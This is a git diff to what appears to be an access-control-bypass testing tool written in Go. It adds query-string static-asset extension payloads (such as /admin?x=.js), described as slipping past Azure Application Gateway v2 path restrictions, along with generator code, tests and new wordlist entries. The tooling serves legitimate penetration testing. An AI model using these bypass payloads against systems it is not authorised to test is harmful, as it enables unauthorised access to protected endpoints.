diff --git a/README.md b/README.md
index 11f88d3..de910f5 100644
--- a/README.md
+++ b/README.md
@@ -286,7 +286,7 @@ The tool runs all techniques by default unless you specify `-k`.
 - `path-normalization`
   - dot-segment and semicolon normalization variants
 - `suffix-tricks`
-  - suffix and extension tricks such as `.json`, `.css`, `;index.html`, and format-style query toggles
+  - suffix and extension tricks such as `.json`, `.css`, `;index.html`, format-style query toggles, and static-asset extensions in the query string (`?x=.js`, as seen bypassing Azure Application Gateway v2)
 - `payload-position`
   - inserts payloads at explicitly marked positions in the URL
 
diff --git a/cmd/bypass_test.go b/cmd/bypass_test.go
index 29bc25c..f4b181b 100644
--- a/cmd/bypass_test.go
+++ b/cmd/bypass_test.go
@@ -1739,3 +1739,73 @@ func TestCrossTechniqueDedupCollapsesSimilarFamilies(t *testing.T) {
 		t.Fatalf("expected similar cross-technique result to be collapsed")
 	}
 }
+
+// TestSuffixTricksSendsQueryExtensionVariants covers the Azure Application
+// Gateway bypass where the static-asset extension lives in the query string
+// (e.g. /admin?x=.js) instead of the path, so path-based allow rules match.
+func TestSuffixTricksSendsQueryExtensionVariants(t *testing.T) {
+	resetTestState()
+
+	var mu sync.Mutex
+	var capturedURIs []string
+
+	ts, _ := testServer(t, func(w http.ResponseWriter, r *http.Request) {
+		mu.Lock()
+		capturedURIs = append(capturedURIs, r.URL.RequestURI())
+		mu.Unlock()
+		w.WriteHeader(http.StatusForbidden)
+		fmt.Fprint(w, "Forbidden")
+	})
+	defer ts.Close()
+
+	opts := RequestOptions{
+		uri:       ts.URL + "/admin/panel?id=7",
+		headers:   []header{{"User-Agent", "test"}},
+		method:    "GET",
+		proxy:     &url.URL{},
+		timeout:   5000,
+		rateLimit: false,
+		redirect:  false,
+		verbose:   true,
+	}
+
+	requestSuffixTricks(opts)
+
+	mu.Lock()
+	defer mu.Unlock()
+	want := []string{
+		"/admin/panel?x=.js",
+		"/admin/panel?x=.css",
+		"/admin/panel?x=.js&id=7",
+	}
+	for _, w := range want {
+		found := false
+		for _, uri := range capturedURIs {
+			if uri == w {
+				found = true
+				break
+			}
+		}
+		if !found {
+			t.Errorf("expected query-extension variant %q, got %v", w, capturedURIs)
+		}
+	}
+}
+
+// TestEndPathsPayloadFileContainsQueryExtensionVariants pins the shipped
+// wordlist so the query-string extension bypass is exercised by default.
+func TestEndPathsPayloadFileContainsQueryExtensionVariants(t *testing.T) {
+	lines, err := parseFile("../payloads/endpaths")
+	if err != nil {
+		t.Fatalf("parse payloads/endpaths: %v", err)
+	}
+	have := map[string]bool{}
+	for _, l := range lines {
+		have[l] = true
+	}
+	for _, w := range []string{"?x=.js", "?x=.css", "?x=.png", "?.js", "?.css"} {
+		if !have[w] {
+			t.Errorf("payloads/endpaths missing %q", w)
+		}
+	}
+}
diff --git a/cmd/requester.go b/cmd/requester.go
index d027a4e..29511eb 100755
--- a/cmd/requester.go
+++ b/cmd/requester.go
@@ -3133,11 +3133,22 @@ func requestSuffixTricks(options RequestOptions) {
 		baseURL + pathValue + "?" + "format=json",
 		baseURL + pathValue + "?" + "output=1",
 	}
+	// Static-asset extension placed in the query string rather than the path.
+	// Edge rules that match the full request URI against static-file suffixes
+	// (seen on Azure Application Gateway v2) treat /admin?x=.js as an asset
+	// and skip the restriction, while the origin still serves /admin.
+	queryExtensions := []string{".js", ".css", ".png", ".ico", ".svg"}
+	for _, ext := range queryExtensions {
+		payloads = append(payloads, baseURL+pathValue+"?x="+ext)
+	}
 	if parsedURL.RawQuery != "" {
 		payloads = append(payloads,
 			baseURL+pathValue+";?"+parsedURL.RawQuery,
 			baseURL+pathValue+".json?"+parsedURL.RawQuery,
 		)
+		for _, ext := range queryExtensions {
+			payloads = append(payloads, baseURL+pathValue+"?x="+ext+"&"+parsedURL.RawQuery)
+		}
 	}
 	payloads = removeDuplicates(payloads)
 
diff --git a/payloads/endpaths b/payloads/endpaths
index 23e8827..39de4c6 100755
--- a/payloads/endpaths
+++ b/payloads/endpaths
@@ -66,3 +66,11 @@
 %3Ffoo.php
 %3F.php
 %23foo
+?x=.js
+?x=.css
+?x=.png
+?x=.ico
+?x=.svg
+?.js
+?.css
+?.png